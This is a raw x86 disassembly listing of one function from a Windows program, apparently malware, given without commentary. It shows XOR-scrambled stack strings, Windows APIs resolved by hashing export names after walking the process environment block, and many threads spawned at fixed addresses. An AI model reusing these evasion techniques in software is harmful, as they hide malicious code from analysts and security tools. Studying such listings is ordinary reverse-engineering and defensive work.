lea ecx, [ebp - 0x388]
call fcn.00402670
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x228]
call fcn.004663d0
push 0
push 0x1bcd
call fcn.00407d60
add esp, 8
push eax
call edi
cmp dword [0x534af4], 0
je 0x460ac3
mov ecx, 0x534ae4
call fcn.004027b0
push 0x521af0
push eax
call fcn.004dee80
add esp, 8
test eax, eax
je 0x460bee
mov esi, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
push esi
lea ecx, [ebp - 0x100]
call fcn.00402850
push 1
push 0x52181c
lea ecx, [ebp - 0x100]
call fcn.00402870
push edi
lea ecx, [ebp - 0x20c]
call fcn.00402850
push 1
push 0x521af0
lea ecx, [ebp - 0x20c]
call fcn.00402870
lea eax, [ebp - 0x100]
mov ecx, 0x534ae4
push eax
lea edx, [ebp - 0x20c]
call fcn.0040c770
add esp, 4
lea ecx, [ebp - 0x20c]
call fcn.00402670
lea ecx, [ebp - 0x100]
call fcn.00402670
mov ecx, 0x534ae4
call fcn.004027b0
push 0x521af0
push eax
call fcn.004dee80
add esp, 8
test eax, eax
jne 0x460b62
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x13c], 0x100c9c9
call fcn.0040a460
push eax
lea ecx, [ebp - 0x600]
call fcn.00402710
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x140], 0x100c6d0
call fcn.0040a460
push eax
lea ecx, [ebp - 0x5e8]
call fcn.00402710
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x144], 0x100c5d9
call fcn.0040a460
push eax
lea ecx, [ebp - 0x5d0]
call fcn.00402710
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x70], 0x100d1da
call fcn.0040a460
push eax
lea ecx, [ebp - 0x5b8]
call fcn.00402710
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x74], 0x100c6ce
call fcn.0040a460
push eax
lea ecx, [ebp - 0x5a0]
call fcn.00402710
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x6c], 0x100d8d6
call fcn.0040a460
push eax
lea ecx, [ebp - 0x588]
call fcn.00402710
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x78], 0x100dbd0
call fcn.0040a460
push eax
lea ecx, [ebp - 0x570]
call fcn.00402710
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x3c], 0x100d6cf
call fcn.0040a460
push eax
lea ecx, [ebp - 0x558]
call fcn.00402710
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], 0x100ddce
call fcn.0040a460
push eax
lea ecx, [ebp - 0x540]
call fcn.00402710
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], 0x100c6da
call fcn.0040a460
push eax
lea ecx, [ebp - 0x528]
call fcn.00402710
lea eax, [ebp - 0x510]
push eax
lea eax, [ebp - 0x600]
push eax
lea ecx, [ebp - 0x3e8]
call fcn.00463140
lea ecx, [ebp - 0x420]
push dword [eax + 4]
push dword [eax]
call fcn.00462a60
push fcn.00402670
push 0xa
push 0x18
lea eax, [ebp - 0x600]
push eax
call fcn.004dd875
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x420]
call fcn.0046b2a0
test eax, eax
je 0x460dab
movaps xmm0, xmmword [0x526e90]
lea ecx, [ebp - 0x2bc]
movups xmmword [ebp - 0x2bc], xmm0
mov dword [ebp - 0x2ac], 0x100dfd8
call fcn.0040ef40
push 0x521a88
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x460dab
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.gert4634
call ebx
call fcn.0041f6b0
call fcn.0041f720
call fcn.0041f790
call fcn.0041f800
call fcn.0041f870
mov ecx, 0x5370e0
call fcn.00463d80
test al, al
je 0x4610ec
mov ecx, 0x5370e0
call fcn.00463da0
test al, al
jne 0x4610ec
lea ecx, [ebp - 0x1be]
mov dword [ebp - 0x1be], 0xfcfceefc
mov dword [ebp - 0x1ba], 0xd0c2d3c0
mov dword [ebp - 0x1b6], 0xcbc1c6
mov byte [ebp - 0x1b2], 1
call fcn.0040da40
push eax
mov ecx, 0x5370e0
call fcn.0046a630
mov ecx, eax
call fcn.00463d90
test al, al
je 0x4610ec
lea ecx, [ebp - 0x1cb]
mov dword [ebp - 0x1cb], 0xfcfceefc
mov dword [ebp - 0x1c7], 0xd0c2d3c0
mov dword [ebp - 0x1c3], 0xcbc1c6
mov byte [ebp - 0x1bf], 1
call fcn.0040da40
push eax
mov ecx, 0x5370e0
call fcn.0046a630
mov ecx, eax
call fcn.0046a8a0
lea ecx, [ebp - 0x166]
mov byte [0x534aab], al
mov dword [ebp - 0x166], 0xfcfceefc
mov dword [ebp - 0x162], 0xc6d4c0
mov byte [ebp - 0x15e], 1
call fcn.0040b8f0
push eax
mov ecx, 0x5370e0
call fcn.0046a630
mov ecx, eax
call fcn.0046a8a0
lea ecx, [ebp - 0x31]
mov byte [0x534ac5], al
mov dword [ebp - 0x31], 0xfcfceefc
mov dword [ebp - 0x2d], 0xd2c4c0
mov byte [ebp - 0x29], 1
call fcn.0040b8f0
push eax
mov ecx, 0x5370e0
call fcn.0046a630
mov ecx, eax
call fcn.0046a8a0
lea ecx, [ebp - 0x66]
mov byte [0x534aaa], al
mov dword [ebp - 0x66], 0xfcfceefc
mov dword [ebp - 0x62], 0xcec0d7c0
mov dword [ebp - 0x5e], 0xd5d1c1cf
mov word [ebp - 0x5a], 0x100
call fcn.0040ef10
push eax
mov ecx, 0x5370e0
call fcn.0046a630
mov ecx, eax
call fcn.0046a8a0
lea ecx, [ebp - 0x1da]
mov byte [0x534aa9], al
mov dword [ebp - 0x1da], 0xfcfceefc
mov dword [ebp - 0x1d6], 0xcbc9c9c0
mov dword [ebp - 0x1d2], 0xd4cad0d0
mov word [ebp - 0x1ce], 0xde
mov byte [ebp - 0x1cc], 1
call fcn.0040a750
push eax
mov ecx, 0x5370e0
call fcn.0046a630
mov ecx, eax
call fcn.0046a8a0
lea ecx, [ebp - 0x170]
mov byte [0x534ac4], al
mov dword [ebp - 0x170], 0xfcfceefc
mov dword [ebp - 0x16c], 0xd2d5c6c0
mov word [ebp - 0x168], 0x100
call fcn.0040eeb0
push eax
mov ecx, 0x5370e0
call fcn.0046a630
mov ecx, eax
call fcn.0046a8a0
lea ecx, [ebp - 0x1a4]
mov byte [0x534ac6], al
mov dword [ebp - 0x1a4], 0xfcfceefc
mov dword [ebp - 0x1a0], 0xcfc0c7c0
mov dword [ebp - 0x19c], 0x100d7c6
call fcn.0040eee0
push eax
mov ecx, 0x5370e0
call fcn.0046a630
mov ecx, eax
call fcn.0046a8a0
mov byte [0x534aa8], al
movaps xmm0, xmmword [0x525e70]
lea ecx, [ebp - 0x399]
movups xmmword [ebp - 0x399], xmm0
mov byte [ebp - 0x389], 1
call fcn.0040ee80
push eax
mov ecx, 0x5370e0
call fcn.0046a630
mov ecx, eax
call fcn.0046a8a0
lea ecx, [ebp - 0x17a]
mov byte [0x534ac8], al
mov dword [ebp - 0x17a], 0xfcfceefc
mov dword [ebp - 0x176], 0xccd1d6c0
mov word [ebp - 0x172], 0x100
call fcn.0040eeb0
push eax
mov ecx, 0x5370e0
call fcn.0046a630
mov ecx, eax
call fcn.0046a8a0
lea ecx, [ebp - 0x184]
mov byte [0x534ac7], al
mov dword [ebp - 0x184], 0xc1f8efee
mov dword [ebp - 0x180], 0xc1cfd6f7
mov word [ebp - 0x17c], 0x100
call fcn.0040eeb0
push eax
mov ecx, 0x5370e0
call fcn.0046a630
mov ecx, eax
call fcn.0046a8a0
movaps xmm0, xmmword [0x526b60]
lea ecx, [ebp - 0xce]
mov byte [0x536ed3], al
movups xmmword [ebp - 0xce], xmm0
mov dword [ebp - 0xbe], 0x100cddf
call fcn.0040ef40
push eax
mov ecx, 0x5370e0
call fcn.0046a630
mov ecx, eax
call fcn.0046a8a0
mov byte [0x536eb3], al
push 0x5214b8
lea ecx, [ebp - 0x304]
call fcn.00402710
push 0x5214b8
lea ecx, [ebp - 0x2ec]
call fcn.00402710
push 0x5214b8
lea ecx, [ebp - 0x2d4]
call fcn.00402710
lea eax, [ebp - 0x2a8]
mov ecx, 0x5371b0
push eax
call fcn.00463c00
lea eax, [ebp - 0x344]
mov ecx, 0x5371b0
push eax
call fcn.00463b90
lea eax, [ebp - 0x344]
push eax
lea ecx, [ebp - 0x2a8]
call fcn.00467aa0
test al, al
jne 0x4617e8
mov ebx, dword [ebp - 0x10]
nop dword [eax + eax]
lea ecx, [ebp - 0x2a8]
call fcn.004632d0
lea ecx, [ebp - 0xd9]
mov dword [ebp - 0xd9], 0xfbf0fdf5
mov edi, eax
mov word [ebp - 0xd5], 0x100
call fcn.00463700
lea eax, [ebp - 0xd9]
mov ecx, edi
push eax
call fcn.0046a630
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402780
lea edx, [ebp - 0x100]
mov ecx, esi
call fcn.0047a230
movaps xmm0, xmmword [0x526670]
lea ecx, [ebp - 0xd0]
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xc0], 0x9ff2c9c5
mov word [ebp - 0xbc], 0x100
call fcn.00463490
push 0
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x100]
call fcn.00465ff0
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402670
test esi, esi
jne 0x46138e
lea ecx, [ebp - 0x134]
mov dword [ebp - 0x134], 0xebf1fded
mov word [ebp - 0x130], 0xfa
mov byte [ebp - 0x12e], 1
call fcn.00463920
lea eax, [ebp - 0x134]
mov ecx, edi
push eax
call fcn.0046a630
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402780
lea edx, [ebp - 0x100]
mov ecx, esi
call fcn.0047a230
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x304]
call fcn.00466400
lea ecx, [ebp - 0x100]
call fcn.00402670
lea ecx, [ebp - 0x42]
mov dword [ebp - 0x42], 0xa0effea7
mov word [ebp - 0x3e], 0x100
call fcn.00463700
push 0
lea eax, [ebp - 0x42]
push eax
lea ecx, [ebp - 0x304]
call fcn.00465ff0
cmp eax, 0xffffffff
je 0x46138e
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x1009696
call fcn.00463880
push dword [ebp - 0x10]
lea ecx, [ebp - 0x20c]
call fcn.00402850
lea ecx, [ebp - 0x7c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4612c4
sub ecx, edx
lea eax, [ebp - 0x7c]
push ecx
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402870
lea ecx, [ebp - 0x96]
mov dword [ebp - 0x96], 0xa0effea7
mov word [ebp - 0x92], 0x100
call fcn.00463700
push dword [ebp - 0x10]
lea ecx, [ebp - 0x100]
call fcn.00402850
lea ecx, [ebp - 0x96]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461312
sub ecx, edx
lea eax, [ebp - 0x96]
push ecx
push eax
lea ecx, [ebp - 0x100]
call fcn.00402870
lea eax, [ebp - 0x20c]
push eax
lea edx, [ebp - 0x100]
lea ecx, [ebp - 0x304]
call fcn.0040c770
add esp, 4
lea ecx, [ebp - 0x100]
call fcn.00402670
lea ecx, [ebp - 0x20c]
call fcn.00402670
lea ecx, [ebp - 0x42]
mov dword [ebp - 0x42], 0xa0effea7
mov word [ebp - 0x3e], 0x100
call fcn.00463700
push 0
lea eax, [ebp - 0x42]
push eax
lea ecx, [ebp - 0x304]
call fcn.00465ff0
cmp eax, 0xffffffff
jne 0x4612a1
lea ecx, [ebp - 0xe5]
mov dword [ebp - 0xe5], 0xfbf0fdf5
mov word [ebp - 0xe1], 0x100
call fcn.00463700
lea eax, [ebp - 0xe5]
mov ecx, edi
push eax
call fcn.0046a630
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402780
lea edx, [ebp - 0x100]
mov ecx, esi
call fcn.0047a230
movaps xmm0, xmmword [0x526670]
lea ecx, [ebp - 0xd0]
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xc0], 0x9cf2c9c5
mov word [ebp - 0xbc], 0x100
call fcn.00463490
push 0
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x100]
call fcn.00465ff0
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402670
test esi, esi
jne 0x46159d
lea ecx, [ebp - 0x11f]
mov dword [ebp - 0x11f], 0xebf1fded
mov word [ebp - 0x11b], 0xfa
mov byte [ebp - 0x119], 1
call fcn.00463920
lea eax, [ebp - 0x11f]
mov ecx, edi
push eax
call fcn.0046a630
lea ecx, [ebp - 0x370]
push ecx
mov ecx, eax
call fcn.0046a770
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00466400
lea ecx, [ebp - 0x370]
call fcn.00402670
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], 0xa0effea7
mov word [ebp - 0x44], 0x100
call fcn.00463700
push esi
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00465ff0
cmp eax, 0xffffffff
je 0x46159d
nop
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], 0x1009696
call fcn.00463880
push dword [ebp - 0x10]
lea ecx, [ebp - 0x20c]
call fcn.00402850
lea ecx, [ebp - 0x80]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4614d3
sub ecx, edx
lea eax, [ebp - 0x80]
push ecx
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402870
lea ecx, [ebp - 0x9c]
mov dword [ebp - 0x9c], 0xa0effea7
mov word [ebp - 0x98], 0x100
call fcn.00463700
push dword [ebp - 0x10]
lea ecx, [ebp - 0x100]
call fcn.00402850
lea ecx, [ebp - 0x9c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461521
sub ecx, edx
lea eax, [ebp - 0x9c]
push ecx
push eax
lea ecx, [ebp - 0x100]
call fcn.00402870
lea eax, [ebp - 0x20c]
push eax
lea edx, [ebp - 0x100]
lea ecx, [ebp - 0x2ec]
call fcn.0040c770
add esp, 4
lea ecx, [ebp - 0x100]
call fcn.00402670
lea ecx, [ebp - 0x20c]
call fcn.00402670
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x48], 0xa0effea7
mov word [ebp - 0x44], 0x100
call fcn.00463700
push 0
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00465ff0
cmp eax, 0xffffffff
jne 0x4614b0
lea ecx, [ebp - 0xdf]
mov dword [ebp - 0xdf], 0xfbf0fdf5
mov word [ebp - 0xdb], 0x100
call fcn.00463700
lea eax, [ebp - 0xdf]
mov ecx, edi
push eax
call fcn.0046a630
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402780
lea edx, [ebp - 0x100]
mov ecx, esi
call fcn.0047a230
movaps xmm0, xmmword [0x526670]
lea ecx, [ebp - 0xd0]
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xc0], 0x9df2c9c5
mov word [ebp - 0xbc], 0x100
call fcn.00463490
push 0
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x100]
call fcn.00465ff0
lea ecx, [ebp - 0x100]
mov esi, eax
call fcn.00402670
test esi, esi
jne 0x4617bd
lea ecx, [ebp - 0x126]
mov dword [ebp - 0x126], 0xebf1fded
mov word [ebp - 0x122], 0xfa
mov byte [ebp - 0x120], 1
call fcn.00463920
lea eax, [ebp - 0x126]
mov ecx, edi
push eax
call fcn.0046a630
lea ecx, [ebp - 0x370]
push ecx
mov ecx, eax
call fcn.0046a770
push eax
lea ecx, [ebp - 0x2d4]
call fcn.00466400
lea ecx, [ebp - 0x370]
call fcn.00402670
lea ecx, [ebp - 0x4e]
mov dword [ebp - 0x4e], 0xa0effea7
mov word [ebp - 0x4a], 0x100
call fcn.00463700
push esi
lea eax, [ebp - 0x4e]
push eax
lea ecx, [ebp - 0x2d4]
call fcn.00465ff0
cmp eax, 0xffffffff
je 0x4617bd
nop
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x84], 0x1009696
call fcn.00463880
push ebx
lea ecx, [ebp - 0x20c]
call fcn.00402850
lea ecx, [ebp - 0x84]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4616f0
sub ecx, edx
lea eax, [ebp - 0x84]
push ecx
push eax
lea ecx, [ebp - 0x20c]
call fcn.00402870
lea ecx, [ebp - 0xaa]
mov dword [ebp - 0xaa], 0xa0effea7
mov word [ebp - 0xa6], 0x100
call fcn.00463700
push dword [ebp - 0x10]
lea ecx, [ebp - 0x100]
call fcn.00402850
lea ecx, [ebp - 0xaa]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x461741
sub ecx, edx
lea eax, [ebp - 0xaa]
push ecx
push eax
lea ecx, [ebp - 0x100]
call fcn.00402870
lea eax, [ebp - 0x20c]
push eax
lea edx, [ebp - 0x100]
lea ecx, [ebp - 0x2d4]
call fcn.0040c770
add esp, 4
lea ecx, [ebp - 0x100]
call fcn.00402670
lea ecx, [ebp - 0x20c]
call fcn.00402670
lea ecx, [ebp - 0x4e]
mov dword [ebp - 0x4e], 0xa0effea7
mov word [ebp - 0x4a], 0x100
call fcn.00463700
push 0
lea eax, [ebp - 0x4e]
push eax
lea ecx, [ebp - 0x2d4]
call fcn.00465ff0
cmp eax, 0xffffffff
jne 0x4616c0
lea ecx, [ebp - 0x2a8]
call fcn.00463280
lea eax, [ebp - 0x344]
push eax
lea ecx, [ebp - 0x2a8]
call fcn.00467aa0
test al, al
je 0x461160
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 0x18
lea eax, [ebp - 0x2d4]
mov ecx, esp
push eax
call fcn.00466580
sub esp, 0x18
lea eax, [ebp - 0x2ec]
mov ecx, esp
push eax
call fcn.00466580
sub esp, 0x18
lea eax, [ebp - 0x304]
mov ecx, esp
push eax
call fcn.00466580
call fcn.00409560
add esp, 0x48
cmp byte [0x536ed9], 0
jne 0x4626fb
call fcn.0044b510
call fcn.0044db20
push str.eger_43_634
call ebx
mov ecx, 0x537098
call fcn.00462e90
mov ecx, 0x537114
call fcn.00462e90
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x44e300
push 0
push 0
call esi
push 0
push 0
push 0
push 0x44f8e0
push 0
push 0
mov dword [ebp - 0x24], eax
call esi
push 0
push 0
push 0
push 0x453ac0
push 0
push 0
mov dword [ebp - 0x28], eax
call esi
mov dword [ebp - 0x3c], eax
call fcn.0043bdd0
test al, al
je 0x461926
lea ecx, [ebp - 0x3e0]
call fcn.0043c060
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x20], 0xf7faf3f7
mov edi, eax
mov dword [ebp - 0x1c], 0x100d3f1
call fcn.00410590
sub esp, 0x10
mov dword [ebp - 0x198], 0xf2e8fdcd
mov esi, esp
mov dword [ebp - 0x194], 0xe7e8ffeb
mov ecx, edi
mov word [ebp - 0x190], 0x100
push eax
call fcn.0046a630
push eax
mov ecx, esi
call fcn.00464080
lea ecx, [ebp - 0x198]
call fcn.0040eeb0
push eax
mov ecx, 0x537130
call fcn.0046a630
mov ecx, eax
call fcn.00464040
lea ecx, [ebp - 0x3e0]
call fcn.00464020
call fcn.0043c030
lea ecx, [ebp - 0x358]
call fcn.0043cf20
lea ecx, [ebp - 0x14c]
mov dword [ebp - 0x14c], 0xf7faf3f7
mov edi, eax
mov dword [ebp - 0x148], 0x100d3f1
call fcn.004633d0
movaps xmm0, xmmword [0x526af0]
lea ecx, [ebp - 0x298]
movups xmmword [ebp - 0x298], xmm0
mov dword [ebp - 0x288], 0x100dfc7
call fcn.00463580
sub esp, 0x10
lea eax, [ebp - 0x14c]
mov esi, esp
mov ecx, edi
push eax
call fcn.0046a630
push eax
mov ecx, esi
call fcn.00464080
lea eax, [ebp - 0x298]
mov ecx, 0x537130
push eax
call fcn.0046a630
mov ecx, eax
call fcn.00464040
push dword [ebp - 0x358]
lea ecx, [ebp - 0x350]
call fcn.00467c10
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461a29
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461a29
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461a22
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461a05
cmp esi, 0x71948ca4
je 0x461a2d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4619f0
mov eax, dword [eax]
jmp 0x4619c5
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0
push 0x4a410
call fcn.00407d60
add esp, 8
push eax
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461ad9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461ad9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax + eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461ad2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461ab5
cmp esi, 0x71948ca4
je 0x461add
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461aa0
mov eax, dword [eax]
jmp 0x461a75
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x3c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461b74
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461b74
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461b6d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461b50
cmp esi, 0xfaba0065
je 0x461b78
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461b36
mov eax, dword [eax]
jmp 0x461b10
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461c04
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461c04
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461bfd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461be0
cmp esi, 0xfaba0065
je 0x461c08
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461bc8
mov eax, dword [eax]
jmp 0x461ba2
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x28]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461c94
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461c94
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461c8d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461c70
cmp esi, 0xfaba0065
je 0x461c98
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461c58
mov eax, dword [eax]
jmp 0x461c32
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push dword [ebp - 0x3c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x454080
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x455a20
push 0
push 0
mov dword [ebp - 0x24], eax
call ebx
push 0
push 0
push 0
push 0x458a50
push 0
push 0
mov dword [ebp - 0x28], eax
call ebx
push 0
push 0
push 0
push 0x45acb0
push 0
push 0
mov dword [ebp - 0x3c], eax
call ebx
push 0
push 0
push 0
push 0x45d7a0
push 0
push 0
mov dword [ebp - 0x78], eax
call ebx
push 0
push 0
push 0
push 0x45d8f0
push 0
push 0
mov dword [ebp - 0x6c], eax
call ebx
push 0
push 0
push 0
push 0x45f3f0
push 0
push 0
mov dword [ebp - 0x74], eax
call ebx
sub esp, 0x18
mov dword [ebp - 0x70], eax
mov ecx, esp
push 0x534ae4
call fcn.00466580
sub esp, 0x18
lea eax, [ebp - 0x264]
mov ecx, esp
push eax
call fcn.00466580
sub esp, 0x18
lea eax, [ebp - 0x27c]
mov ecx, esp
push eax
call fcn.00466580
sub esp, 0x18
mov ecx, esp
push 0x534afc
call fcn.00466580
call fcn.0040da70
mov eax, dword fs:[0x30]
add esp, 0x60
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
lea ecx, [edx + esi]
mov dword [ebp - 0x10], ecx
cmp ecx, esi
je 0x461e04
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x461e04
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x461dfd
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x461de0
cmp esi, 0x71948ca4
je 0x461e08
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x461dc6
mov eax, dword [eax]
jmp 0x461da0
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x14]
push 0x493e0
push dword [ebp - 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x14], esi
